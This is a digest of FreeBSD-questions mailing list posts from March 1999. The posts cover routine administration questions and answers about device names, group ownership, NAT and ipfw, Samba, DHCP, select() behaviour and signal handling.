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From owner-freebsd-questions  Mon Mar 22  9:32:12 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'REM' <firma@windoms.sitek.net>, freebsd-questions@FreeBSD.ORG
Subject: RE: Changing acd to wcd
Date: Mon, 22 Mar 1999 12:32:44 -0500
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Shouldn't this be addressed in current@FreeBSD.Org not questions??
-Chris

> -----Original Message-----
> From:	REM [SMTP:firma@windoms.sitek.net]
> Sent:	Saturday, March 20, 1999 2:53 AM
> To:	freebsd-questions@FreeBSD.ORG
> Subject:	Changing acd to wcd
> 
> 	Hi!
> 
> 	I'm FreeBSD-current (FreeBSD 4.0-current) user. The name of the wd.c
> and atapi.c based CDROM driver has been changed, but the file MAKEDEV
> has old structure. I can't make device wcd0!
> 
> 	REM
> 
> 
> > 19990316:
> >        The name of the old wd.c and atapi.c based CDROM driver has
> >        been changed back to wcd. So update your config file to use
> >        "device wcd" instead of "device acd".
> 
> 
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From owner-freebsd-questions  Mon Mar 22  9:35:11 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: "'charon@freethought.org'" <charon@freethought.org>,
	questions@FreeBSD.ORG
Subject: RE: commands to execute programs
Date: Mon, 22 Mar 1999 12:35:40 -0500
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Sure,
	pkg_info -f <name_of_package>

or go to the directory of the port and type

	more pkg/PLIST

-Chris


> -----Original Message-----
> From:	charon@freethought.org [SMTP:charon@freethought.org]
> Sent:	Friday, March 19, 1999 6:25 PM
> To:	questions@FreeBSD.ORG
> Subject:	commands to execute programs
> 
> Is there any way to find out what the command for a program (installed
> from
> the ports) will be without guessing?  For example, I installed Netscape
> and
> then typed the command 'netscape' and it executed (a 'which netscape' told
> me where the file was).  However, I installed x-files and can't figure out
> the command ('which x-files' and 'which xfiles' fail.  A 'which files'
> finds something, but I don't know what program it is - it doesn't identify
> itself when executed, and I also installed filerunner and can't find that
> -
> 'which filerunner' comes up empty.).
> 
> Also, why do some programs (like rc5des) have to be run with a full
> pathname and others can be run with just the program name?  Is it that the
> latter type are in /usr/local/bin?
> 
> Thanks,
> 
> 
> 
> __________________________________________
>          Charon@freethought.org
>  http://members.home.net/tuathadedanann/
> 
>    "Unthinking respect for authority 
>     is the greatest enemy of truth."
> 	     -Albert Einstein
> __________________________________________
> 
> 
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From owner-freebsd-questions  Mon Mar 22  9:45:52 1999
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Date: Mon, 22 Mar 1999 09:46:49 -0800
From: dan@wolf.com
To: freebsd-questions@freebsd.org
Cc: FreeBSD-questions@freebsd.org
Subject: Re: Changing groups
References: <19990322162256.28891.qmail@hotmail.com> <199903221659.LAA07766@cc942873-a.ewndsr1.nj.home.com>
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> > Here's my situation: I want have a user who is a member of three 
> > groups--say they are radio, tv, and newspaper. When the user logs in the 
> > group is set to radio, but then he has to go edit something for radio. 
> > How do I change the user's group from newspaper to radio.
> 
> I'm not sure what you are talking about. When someone is a member of
> three groups, that user is always a member of those three
> groups. There is no need to 'change' groups. If a user wants to change
> which group a specific file/directory is owned by, 'man chgrp.'

I believe he's looking for a FreeBSD equivalent to the 
Solaris "newgrp" command.  That is, when you create a file
that file gets a group ownership assigned.  If you are a 
member of several groups, only one of those groups gets
used to assign group ownership of the files you create. I
believe the question asked was how to get files created
by you to have a different group ownership.

Unfortunately, I can't answer the question.  I don't know 
of a BSD equivalent to newgrp.  

Dan Mahoney 
dan@wolf.com


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From owner-freebsd-questions  Mon Mar 22  9:57:12 1999
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Date: Mon, 22 Mar 1999 18:56:28 +0100
To: Karl Pielorz <kpielorz@tdx.co.uk>
From: Stefano Riva <sriva@alice.it>
Subject: Re: windows 95 connect to FreeBSD
Cc: notme <notme@lvdi.net>, freebsd-questions@FreeBSD.ORG
In-Reply-To: <36F67831.611F889F@tdx.co.uk>
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At 17.04 22/03/99 +0000, you wrote:
>> I was under the impression that Samba provided the functionality for
>> FreeBSD to see Windows shared drives. Is that not the case?
>You get 'smbclient' - which is an ftp-like program that uses SMB, you can
>connect and ftp files off a LAN Manager host (such as Win'9X/NT)... This is
>also used by smbtar - which can automatically tar files off a LAN Manager
>system, but they don't allow you to cross-mount an SMB/LANManager drive
onto a
>unix filesystem :-(

  Yeah. Sharity Light does exactly that: mounting SMB drives onto Unix,
although the last time I wanted to use it, it didn't work (auth problems).
I did the job another way without going deep in the subject. Anyway, I
think the problem was the same I subsequently saw discussed by Tatsumi
Hosokawa (the Samba maintainer) during the installation of a recent port of
Samba: something in authentication has changed in latest Windows releases
(NT+SP3/4, etc.). I don't remember what the solution was, but probably
there's a similar solution for Sharity Light too.

---

  Stefano Riva
  Software Engineer - System Administrator
  Informazioni Editoriali I.E. Srl
  Phone +39-027528400, Fax +39-027528451
  Email sriva@alice.it


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From owner-freebsd-questions  Mon Mar 22 10: 7:22 1999
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From: "David Burger" <david@unet.tm>
To: "'Tim Pushor'" <timp@orion.ab.ca>,
	"'Hugh Blandford'" <hugh@island.net.au>
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Subject: RE: NAT Question
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Tim,

Just a suggestion, have you tried adding the following two lines at the
beginning of your firewall rules:

ipfw add allow any from {protected} to any via any
ipfw add divert 6886 from {NATed} to any via {PubInterface}

I am not an expert, but this should allow open communication from the
protected interfaces to the internet without NAT getting in the way.  The
only thing I can see as a problem is packets coming back to the protected
interface.  This can easily be handled by additional rules.

Hope this helps,

David


-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Tim Pushor
Sent: Tuesday, March 23, 1999 5:51 AM
To: Hugh Blandford
Cc: questions@FreeBSD.ORG
Subject: Re: NAT Question


Well, I have tried that.

I did not want to do that initially because I wanted to learn exactly how
ipfw and divert worked with NAT, and how I could manipulate firewall ACL's.

But after not being able to get this working for a while, I did
try -unregistered_only but the effect was that packets from my protected
network did not get sent to the 'router or nat machines' default gateway.
i.e. I could ping the public side of the router/nat box but could not ping
the internet any more (before the nat I could fine).

Think I am doing something wrong?

Thanks for the response,
Tim
-----Original Message-----
From: Hugh Blandford <hugh@island.net.au>
To: Tim Pushor <timp@orion.ab.ca>
Date: Monday, March 22, 1999 12:30 AM
Subject: Re: NAT Question


>Hi Tim,
>
>if your protected network is routable on the internet and you don't want to
>do any NAT then there is a switch you can insert in the config file or at
>runtime:
>
>-unregistered_only or -u
>
>Regards,
>
>Hugh
>
>At 22:51 22/03/99 -0700, you wrote:
>>Hello,
>>
>>I have built a NAT box using ipfw and natd on FreeBSD 2.2.8. I can't seem
to
>>accomplish what I am trying to do:
>>
>>I have three interfaces (the IP's have been changed to protect the
innocent
>>:)
>>
>>public - 207.122.216.0 255.255.255.128
>>protected - 207.122.216.129 255.255.255.128
>>private - 192.168.1.0 255.255.255.0
>>
>>What I am trying to do is to use the machine as a router between the
public
>>and protected interfaces (and default routing out to a router that will
>>forward to the Internet), but NAT the private interface to an IP address
on
>>the public side.
>>
>>The NAT works fine.. The problem I am having is that after enabling nat,
the
>>protected interface will no longer forward to the Internet.
>>
>>What I am wondering is how I should configure ipfw so that traffic to/from
>>the private network is NATted, and that routing between the public and
>>protected interfaces is unnafected.
>>
>>Can someone help shed some light on this?
>>Many thanks,
>>Tim
>>
>>
>>
>>To Unsubscribe: send mail to majordomo@FreeBSD.org
>>with "unsubscribe freebsd-questions" in the body of the message
>>
>>
>



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From owner-freebsd-questions  Mon Mar 22 10:10:31 1999
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Date: Mon, 22 Mar 1999 19:10:03 +0100
To: freebsd-questions@FreeBSD.ORG
From: Stefano Riva <sriva@alice.it>
Subject: Re: Changing groups
In-Reply-To: <19990322094649.A12799@ns.wolf.com>
References: <199903221659.LAA07766@cc942873-a.ewndsr1.nj.home.com>
 <19990322162256.28891.qmail@hotmail.com>
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At 09.46 22/03/99 -0800, you wrote:
>that file gets a group ownership assigned.  If you are a 
>member of several groups, only one of those groups gets
>used to assign group ownership of the files you create. I
>believe the question asked was how to get files created
>by you to have a different group ownership.
>Unfortunately, I can't answer the question.  I don't know 
>of a BSD equivalent to newgrp.  

  AFAIK, there isn't one. Anyway, the admin can always do a vipw and change
the "main" group ID of the user.

---

  Stefano Riva
  Software Engineer - System Administrator
  Informazioni Editoriali I.E. Srl
  Phone +39-027528400, Fax +39-027528451
  Email sriva@alice.it


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From owner-freebsd-questions  Mon Mar 22 10:30:47 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: freebsd-questions@FreeBSD.ORG
Subject: RE: Changing groups
Date: Mon, 22 Mar 1999 13:31:19 -0500
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Are we talking to permanently change the default GID of new files, or are we
talking on a per file basis?
 - To permanently change the default group needed, you would have to edit
the password file and change that users group (vipw).
 - To change the group ownership of specific files, just use one of the
following.
	chgrp <group> <files>
	chown <user>:<group> <files>

-Chris

> -----Original Message-----
> From:	Stefano Riva [SMTP:sriva@alice.it]
> Sent:	Monday, March 22, 1999 1:10 PM
> To:	freebsd-questions@FreeBSD.ORG
> Subject:	Re: Changing groups
> 
> At 09.46 22/03/99 -0800, you wrote:
> >that file gets a group ownership assigned.  If you are a 
> >member of several groups, only one of those groups gets
> >used to assign group ownership of the files you create. I
> >believe the question asked was how to get files created
> >by you to have a different group ownership.
> >Unfortunately, I can't answer the question.  I don't know 
> >of a BSD equivalent to newgrp.  
> 
>   AFAIK, there isn't one. Anyway, the admin can always do a vipw and
> change
> the "main" group ID of the user.
> 
> ---
> 
>   Stefano Riva
>   Software Engineer - System Administrator
>   Informazioni Editoriali I.E. Srl
>   Phone +39-027528400, Fax +39-027528451
>   Email sriva@alice.it
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Mon Mar 22 10:34:24 1999
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Larry Berland' <stuyman@euphoria.confusion.net>,
	questions@FreeBSD.ORG
Subject: RE: Dynamically assigned IP addresses
Date: Mon, 22 Mar 1999 13:34:55 -0500
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I personally run ISC-DHCP from the ports (/usr/ports/net) collection, to
have my FreeBSD machine act as a DHCP server.  Works great, after a little
tweeking.

I've personally never used the client portion of the program, but I don't
imagine it's any harder to setup than the server was.
-Chris

> -----Original Message-----
> From:	Larry Berland [SMTP:stuyman@euphoria.confusion.net]
> Sent:	Sunday, March 21, 1999 12:36 PM
> To:	questions@FreeBSD.ORG
> Subject:	Dynamically assigned IP addresses
> 
> What is the best way of setting a server up to dynamically assign IP
> addresses to windows machines.  Is there a similar way to do this with a
> freebsd client?
> 
> Laurence Berland
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Mon Mar 22 10:39:53 1999
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How do I discover what speed user PPP has connected to the
remote host (ISP) at ?

The PPP logs contain the string "CONNECT" but no speed indication,

I suspect I'm not getting the full speed out of my modem - it's supposed
to be a 56k modem but I suspect I'm getting less than half that.

Please reply to me as well as to the list. :-)

I'm running 2.2.7R, with the PPP that came on the CD-ROM

Mike

<>< ============================================================ ><>
Michael Doyle                    email: relyod@co-operation-ireland.ie
Network Administrator            personal email:    relyod@indigo.ie
Co-operation Ireland	  http://www.co-operation-ireland.ie/
Phone: +353-1-661 0588                          Fax: +353-1-661 8456

*********************************************************************


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From owner-freebsd-questions  Mon Mar 22 10:59:34 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 11:00:03 -0800 (PST)
From: Jeff Gray <jwg@netbox.com>
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To: Questions at FreeBSD <freebsd-questions@freebsd.org>
Subject: mouse configuration, won't
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I am trying to get my mouse to work in terminal mode and or X windows.

/stand/sysinstall does not let me select a type. It is as if the keyboard
is dead when I try to select any of the choices.  Keyboard lets me enable
or disable, no problem.  tab key works fine.  Just cannot select a type.

then tried moused
moused -p /dev/psm0 -t intellimouse
    says my Intellimouse is not one 
moused -p /dev/psm0 -t ps/2
    does not configure it

vidcontrol -m on does not turn it on   
mouse pointer appears for a millisecond in X windows and then disappears

Here is what dmesg says, 
psm0 at 0x60-0x64 irq 12 on motherboard
psm0: model IntelliMouse, device ID 3

Advice sought.
Used to work well before I changed motherboards

Thanks
jeff



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From owner-freebsd-questions  Mon Mar 22 11:15:18 1999
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To: freebsd-questions@freebsd.org
Cc: labstaff@cs.rpi.edu
Subject: security concerns with /dev/perfmon
Date: Mon, 22 Mar 1999 14:14:41 -0500
From: "David E. Cross" <crossd@cs.rpi.edu>
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Is it "safe" to give permissions to ordinary users to access "/dev/perfmon"?
If yes, what level of access?  does the driver distinguish between r/w
access with the get/set IOCTLS?  I noticed there are some entries listed
in /usr/include/machine/perfmon.h that are listed as dangerous or not to
use, can those be filtered out?

--
David Cross


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From owner-freebsd-questions  Mon Mar 22 12: 1:46 1999
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From: "Ptacek, Chris" <Ptacek@pwrh.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Kernel option SYSVSEM?
Date: Mon, 22 Mar 1999 13:05:58 -0700
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I was just wondering why the SYSVSEM kernel option isn't 
included by default.  Does it take up that much space?  I 
have noticed over time that the GENERIC kernel went from
including none of the SYSV options (SYSVSHM, SYSVMSG,
SYSVSEM) to including one, and then in 3.1 including two of
the three.  Will all three soon be included by default or is there
something I am missing?

   Thanks,  
       Chris


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From owner-freebsd-questions  Mon Mar 22 12: 5: 5 1999
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Date: Mon, 22 Mar 1999 15:06:14 -0500 (EST)
From: Rich Fox <rich@f2sys.net>
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Subject: libwrap.so.7--making me crazy!
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Hi,

I am trying to fix a 3.1 distribution so that It can run netatalk.
First I had the lib.so.3 (I think) problem. Fortunately, this was fairly
common and I found the solution in the handbook.
Now, I am stuck on the following:

/usr/libexec/ld-elf.so.1: Shared object "libwrap.so.7" not found

I have located and installed tcp_wrappers_7.6 and it didn't change
anything. It took me a long time just to find the tcp_wrappers_7.6.tar.gz
file and now, apparently it wasn't even what I needed.

Any ideas where I can get this libwrap.so.7?

Thanks,
Rich.

| rich fox
| rich@f2sys.net
| 1513 N. Rhodes St. #1
| Arlington, VA 22209
| t:703.528.9616
| f:703.329.2314 



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From owner-freebsd-questions  Mon Mar 22 12: 5:28 1999
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To: questions@freebsd.org
Subject: Is select(2) a liar?
From: "Ronald F. Guilmette" <rfg@monkeys.com>
Date: Mon, 22 Mar 1999 12:12:14 -0800
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Somewhere, burried deep in the bowels of the code for the utility program
called strobe(1), I have seen the following code.

Pay particular attention to the comment in this code.

---------------------------------------------------------------------
    ...
    timeout.tv_sec = 0;
    timeout.tv_usec = 50;
    switch (select (FD_SETSIZE, &set_sel_r, &set_sel_w, 0, &timeout))
    {
    case -1:
        perror ("select");
        return 0;
    case 0:
        return 1;
    }
    for (n = 0; n < a_sock_max; n++)
    {
        h = &attempt[n];
        if (h->status & HT_CONNECTING)
        {
            if (FD_ISSET (h->sfd, &set_sel_r) || FD_ISSET (h->sfd, &set_sel_w))
            {
                struct sockaddr_in in;
                int len = sizeof (in);
                /* select() lies occasionaly
                 */
                if (getpeername (h->sfd, (struct sockaddr *) &in, &len) == 0)
                    gatherer_tcp (h);
                else
                    attempt_clear (h);
            } 
        }
    }
    return 1;
    ...
---------------------------------------------------------------------

The comment in this code says that ``select() lies occasionaly'' (sp).

In my own experience, it seems that this assertion may indeed be true...
under FreeBSD at least.

I need to understand why this might be the case, and what to do about it
(in some other code I am writing).

Given a stream (TCP) socket which you have started an asynchronous (non-
blocking) connect for, if a call to select(2) tells you that the socket is
now writable, what conditions (other than an outright rejection of the
connection attempt by the peer you were connecting to) might cause a
subsequent call to getpeername() to return a -1 error result?  In other
words, what are the precise conditions under which select() will in fact
``lie'' and say that the socket is writable when in fact it is NEITHER
in a connected state nor in an error state?

-- Ron Guilmette, Roseville, California ---------- E-Scrub Technologies, Inc.
-- Deadbolt(tm) Personal E-Mail Filter demo: http://www.e-scrub.com/deadbolt/
-- Wpoison (web harvester poisoning) - demo: http://www.e-scrub.com/wpoison/

    "Ping can be used offensively, and it's shipped with every windows CD"
                                                  -- Steve Atkins


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From owner-freebsd-questions  Mon Mar 22 12:15:25 1999
Delivered-To: freebsd-questions@freebsd.org
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Subject: ipfw slowness
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I recently installed 2.2.8 on a box that is to become a firewall.  I have been
having problems loading the ruleset.  Each rule takes a couple seconds to
load -- is this expected, or there is something I have failed to set up to
make ipfw go faster?

Thanks,
Bill


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From owner-freebsd-questions  Mon Mar 22 12:20: 8 1999
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Date: Mon, 22 Mar 1999 21:21:34 +0100
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To: Greg Lehey <grog@lemis.com>
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Subject: Re: Have crashed, won't travel
References: <19990304130126.B441@lemis.com> <36DE0352.E99BCB70@eboa.com> <19990316174710.H429@lemis.com> <36EE54A4.8DC53017@eboa.com> <19990317093436.G429@lemis.com> <36EFC56A.ACBFB0A7@eboa.com> <19990318100818.L429@lemis.com> <36F1BDBB.E9E4F323@eboa.com> <19990319150941.U429@lemis.com> <36F2ABBF.9B789EDB@eboa.com> <19990320100004.J429@lemis.com>
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Greg Lehey wrote:
> 
> > Could you run that by me again. If /dev/wd0s1g is the device holding
> > the structure I need to manipulate then what is the device I should
> > give as parameter to fsdb?
> 
> /dev/rwd0s1g.

Aarrgghh!! The *R*! As in 'raw device'! Of course. Sorry. Don't know
why I couldn't see it or remember the difference. Just now it hit me.

> Well, in fact we have a block device interface and a character device
> interface, and they both talk to the same device.  The difference is
> that the block interface is buffered and the character interface
> isn't.

What's in a 'r'? That a device, by any other name, may drive as sweet.
To r or not to r, that is the question!

> Good point.  It should refuse to do anything.  When using fsdb, you
> want the changes to get back to disk immediately.  You're not worried
> about performance.

Well, at least I did *something* right :).

> This is arguably a bug.  /etc/termcap used to be a file, but they
> moved it to /usr/share/misc for some reason.  I personally didn't
> agree, but it was a majority decision.  To be fair, I can't see what
> fsdb even needs termcap for, but I suppose I could go look.

Lost call, force of habit. Something like that I'd venture.

Roelof

-- 
Home is where the (@) http://eboa.com/ is.


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From owner-freebsd-questions  Mon Mar 22 12:27: 5 1999
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Date: Mon, 22 Mar 1999 14:26:04 -0600 (CST)
From: Jonathan Lemon <jlemon@americantv.com>
Message-Id: <199903222026.OAA09449@free.pcs>
To: rfg@monkeys.com, freebsd-questions@freebsd.org
Subject: Re: Is select(2) a liar?
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In article <local.mail.freebsd-questions/5797.922133534@monkeys.com> you write:
>Given a stream (TCP) socket which you have started an asynchronous (non-
>blocking) connect for, if a call to select(2) tells you that the socket is
>now writable, what conditions (other than an outright rejection of the
>connection attempt by the peer you were connecting to) might cause a
>subsequent call to getpeername() to return a -1 error result?  In other
>words, what are the precise conditions under which select() will in fact
>``lie'' and say that the socket is writable when in fact it is NEITHER
>in a connected state nor in an error state?

How about if it's in a closed state?  A closed state isn't an error
state; an error is flagged only after attempting to write to a closed
socket.

Here's the definition of sowritable():  (from sys/sys/socketvar.h)

#define sowriteable(so) \
    ((sbspace(&(so)->so_snd) >= (so)->so_snd.sb_lowat && \
        (((so)->so_state&SS_ISCONNECTED) || \
          ((so)->so_proto->pr_flags&PR_CONNREQUIRED)==0)) || \
     ((so)->so_state & SS_CANTSENDMORE) || \
     (so)->so_error)

CANTSENDMORE is set if the socket is the process of disconnecting (or
has already disconnected).

If you're writing new code, you may want to use poll(), it's cleaner
than select() in handling these kind of things (IMHO).
--
Jonathan


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From owner-freebsd-questions  Mon Mar 22 12:32:20 1999
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	Mon, 22 Mar 1999 15:31:20 -0500 (EST)
Date: Mon, 22 Mar 1999 15:31:08 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: Brett Taylor <brett@peloton.physics.montana.edu>
Cc: mbermal@ucsd.edu, freebsd-questions@FreeBSD.ORG
Subject: Re: GTK/Gimp installation problems
In-Reply-To: <Pine.BSF.4.05.9903220829320.20225-100000@peloton.physics.montana.edu>
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Yes, but wasn't he installing a NON-PORT?

------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org




On Mon, 22 Mar 1999, Brett Taylor wrote:

> Hi,
> 
> On Mon, 22 Mar 1999, Patrick Seal wrote:
> 
> > If you installed gtk/glib from the ports the g*-config's are renamed to
> > allov separate versions.  I have a symlink to the newest ones for
> > compiling non-ports.
> > 
> > ln -s gtk11d-config gtk-config
> > or
> > ln -s gtk12-config gtk-config 
> 
> I doubt this is the problem. The ports take care of this for you - look at
> the ENV variables in the Makefile for gimp for example.
> 
> Brett
> ***********************************************************
> Brett Taylor            brett@peloton.physics.montana.edu *
>                         brett@daemonnews.org              *
> 							  *
> 			http://www.daemonnews.org/        *
> ***********************************************************
> 
> 



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From owner-freebsd-questions  Mon Mar 22 12:34:22 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 15:32:07 -0500
From: MALCOLM BOFF <Malcolm_Boff@compuserve.com>
Subject: PPP AND Compuserve AND UK
To: freebsd-questions <freebsd-questions@freebsd.org>
Message-ID: <199903221532_MC2-6EEB-1B05@compuserve.com>
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I would appreciate hearing from anyone in the UK who has =

successfully managed to connect into Compuserve and is
prepared to help me by providing a copy of their setup
(ppp.conf) etc

I don't want to exclude others connecting via Compuserve but
wish to isolate differences between the UK and US so please
respond if you think you might be able to help.

Malcolm G. Boff


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From owner-freebsd-questions  Mon Mar 22 12:50:10 1999
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Date: Mon, 22 Mar 1999 13:49:04 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Patrick Seal <patseal@hyperhost.net>
Cc: mbermal@ucsd.edu, freebsd-questions@FreeBSD.ORG
Subject: Re: GTK/Gimp installation problems
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Hi,

On Mon, 22 Mar 1999, Patrick Seal wrote:

> Yes, but wasn't he installing a NON-PORT?

Gimp-1.1.2. is in the ports and I thought he was installing the port.  If
he's not, all he has to do is do as the port does and use the correct
configure arguments (since he has used the ports for gtk and glib
apparently), ie:

CONFIGURE_ENV=  CPPFLAGS="-I${LOCALBASE}/include" \
                GTK_CONFIG="${X11BASE}/bin/gtk11d-config" \
                LIBS="-L${LOCALBASE}/lib" \
                INSTALL_SCRIPT='$${INSTALL} -m 755'


Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Mon Mar 22 12:53:55 1999
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Date: Tue, 23 Mar 1999 08:54:25 +1200 (NZST)
From: Jonathan Chen <jonc@pinnacle.co.nz>
Cc: freebsd-questions@FreeBSD.ORG
Subject: RE: Changing groups
In-Reply-To: <6C37EE640B78D2118D2F00A0C90FCB441A5FAF@site2s1>
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On Mon, 22 Mar 1999, Christopher Michaels wrote:

> Are we talking to permanently change the default GID of new files, or are we
> talking on a per file basis?
>  - To permanently change the default group needed, you would have to edit
> the password file and change that users group (vipw).
>  - To change the group ownership of specific files, just use one of the
> following.
> 	chgrp <group> <files>
> 	chown <user>:<group> <files>
> 

Actually, under the BSD file creation semantics; any new file created
in a directory will get the directory's group-id by default. So all
you need to do is to create the directory with the correct group-id
required.

Jonathan Chen
------------------------------------------------------------------------
                                         Do not take life too seriously.
                                     You will never get out of it alive.



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From owner-freebsd-questions  Mon Mar 22 13: 2:55 1999
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Jonathan Chen' <jonc@pinnacle.co.nz>
Cc: freebsd-questions@FreeBSD.ORG
Subject: RE: Changing groups
Date: Mon, 22 Mar 1999 16:03:23 -0500
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I did notice something to the effect but I wasn't sure.. my questions is..
does this apply even if the user isn't a member of that group?
-Chris

> -----Original Message-----
> From:	Jonathan Chen [SMTP:jonc@pinnacle.co.nz]
> Sent:	Monday, March 22, 1999 3:54 PM
> Cc:	freebsd-questions@FreeBSD.ORG
> Subject:	RE: Changing groups
> 
> On Mon, 22 Mar 1999, Christopher Michaels wrote:
> 
> > Are we talking to permanently change the default GID of new files, or
> are we
> > talking on a per file basis?
> >  - To permanently change the default group needed, you would have to
> edit
> > the password file and change that users group (vipw).
> >  - To change the group ownership of specific files, just use one of the
> > following.
> > 	chgrp <group> <files>
> > 	chown <user>:<group> <files>
> > 
> 
> Actually, under the BSD file creation semantics; any new file created
> in a directory will get the directory's group-id by default. So all
> you need to do is to create the directory with the correct group-id
> required.
> 
> Jonathan Chen
> ------------------------------------------------------------------------
>                                          Do not take life too seriously.
>                                      You will never get out of it alive.
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Mon Mar 22 13:13:42 1999
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Date: Mon, 22 Mar 1999 18:35:07 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Karl Pielorz <kpielorz@tdx.co.uk>
Cc: Masahiro Ariga <mariga@cd.mbn.or.jp>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: how to die gracefully
Message-ID: <19990322183507.A97838@scientia.demon.co.uk>
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Karl Pielorz wrote:

> Masahiro Ariga wrote:
> 
>> 2.I like to catch the signal when pushed Ctl^C,and make a handler
>> routine.Would you tell me what signal I can catch when enterring Ctl^C ?
> 
> SIGQUIT I think - check the man pages out (man signal)...

SIGINT on my system,

$ stty -a
speed 115200 baud; 25 rows; 80 columns;
lflags: icanon isig iexten echo echoe echok echoke -echonl echoctl
	-echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
	-extproc
iflags: -istrip icrnl -inlcr -igncr ixon -ixoff ixany imaxbel -ignbrk
	brkint -inpck -ignpar -parmrk
oflags: opost onlcr -oxtabs
cflags: cread cs8 -parenb -parodd hupcl -clocal -cstopb -crtscts -dsrflow
	-dtrflow -mdmbuf
cchars: discard = ^O; dsusp = ^Y; eof = ^D; eol = <undef>;
	eol2 = <undef>; erase = ^H; intr = ^C; kill = ^U; lnext = ^V;
	min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T;
	stop = ^S; susp = ^Z; time = 0; werase = ^W;

I'm guessing you can change it though. ^C does SIGINT by default though,
AFAIK.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


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From owner-freebsd-questions  Mon Mar 22 13:19:15 1999
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Subject: qpopper
Date: Mon, 22 Mar 1999 16:17:31 -0500
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does anyone know how to setup qpopper.

My setup is have problems.

Michael Brown


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From owner-freebsd-questions  Mon Mar 22 13:21:26 1999
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903222120.QAA08508@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: Changing groups
In-Reply-To: <6C37EE640B78D2118D2F00A0C90FCB441A5FB3@site2s1> from Christopher Michaels at "Mar 22, 99 04:03:23 pm"
To: ChrisMic@clientlogic.com (Christopher Michaels)
Date: Mon, 22 Mar 1999 16:20:51 -0500 (EST)
Cc: jonc@pinnacle.co.nz, freebsd-questions@FreeBSD.ORG
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 fChristopher Michaels wrote,
> > From: Jonathan Chen [SMTP:jonc@pinnacle.co.nz]
> > On Mon, 22 Mar 1999, Christopher Michaels wrote:
> > 
> > > Are we talking to permanently change the default GID of new files, or
> > are we
> > > talking on a per file basis?
> > >  - To permanently change the default group needed, you would have to
> > edit
> > > the password file and change that users group (vipw).
> > >  - To change the group ownership of specific files, just use one of the
> > > following.
> > > 	chgrp <group> <files>
> > > 	chown <user>:<group> <files>
> > > 
> > 
> > Actually, under the BSD file creation semantics; any new file created
> > in a directory will get the directory's group-id by default. So all
> > you need to do is to create the directory with the correct group-id
> > required.
>
> I did notice something to the effect but I wasn't sure.. my questions is..
> does this apply even if the user isn't a member of that group?
> -Chris

[107:/tmp] ls -ld .
drwxrwxrwt  5 bin  bin  1024 Mar 22 16:30 .
[108:/tmp] id
uid=2045(cjc) gid=20(staff) groups=20(staff), 0(wheel)
[109:/tmp] touch foo
[110:/tmp] ls -ld foo .
drwxrwxrwt  5 bin  bin  1024 Mar 22 16:30 .
-rw-rw-r--  1 cjc  bin     0 Mar 22 16:30 foo

Yes.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Mon Mar 22 13:23:18 1999
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From: "Taras M. Dowhaluk" <tarasd@visiondb.com.au>
To: questions@FreeBSD.ORG
Date: Tue, 23 Mar 1999 08:22:16 +1000
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Subject: Re: Going crazy with DHCP: FreeBSD won't install
Cc: malartre@videotron.ca
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With my cable modem connection using my ISP, Telstra Bigpond in Australia,
even though I'm physically connected to the network and even though I've
got an IP address etc, my IP address isn't given access out of the network 
until I have 'logged in' via their Big Pond Cable Client (using NT) or bids2login 
(something like that ??) under FreeBSD.

I suggest that what happens when you reboot from win95 is that you log out 
and, relinquish your IP address, hence you can't see freebsd.org.

The solution to this might be, from most simple (most recommended) to 
most complex:
1. Install from a FreeBSD CD, or
2. Download appropriate distribution via Win95 and install from DOS partition, 
or
3. Install via a dial-up PPP link to some other ISP, or
4. knobble the installation diskette to start a dhcp client and login to your 
ISP.

> 
> I'm starting to hate cable modem...
> As my 2.2.8 FreeBSD box was messed up, I decided to do a backup on my
> dos partition and reinstall the beast(3.1-RELEASE). I have
> Win95+Motorola CyberSURFR Wave(cable modem)+Ethernet card (SMC EtherEZ
> (8416), PnP disabled) which seem to be a NE2000 clone. I was never
> successful with DHCP before the reinstallation...
> 
> Under Win95, I run the "winipcfg.exe" program:
> Host Name: DEFAULT.videotron.caDEST
> DNS Servers: 205.151.222.250
> Node Type: Broadcast
> ...
> IP Adress: 216.113.2.59
> Subnet Mask: 255.255.255.0
> Default Gateway: 216.113.2.1
> DHCP Server: 199.84.251.5
> 
> With the two boot disk, I reboot and start the installation.
> I use ed0 has my ethernet.
> Then, I put all those information in the ed0 config (but not the "DHCP
> Server", since there are no field for that one, and I use "foo.qc.ca"
> has the host name)
> Passive or not, ftp do not work.
> ...
> Any tips?
> Malartre <malartre@videotron.ca>
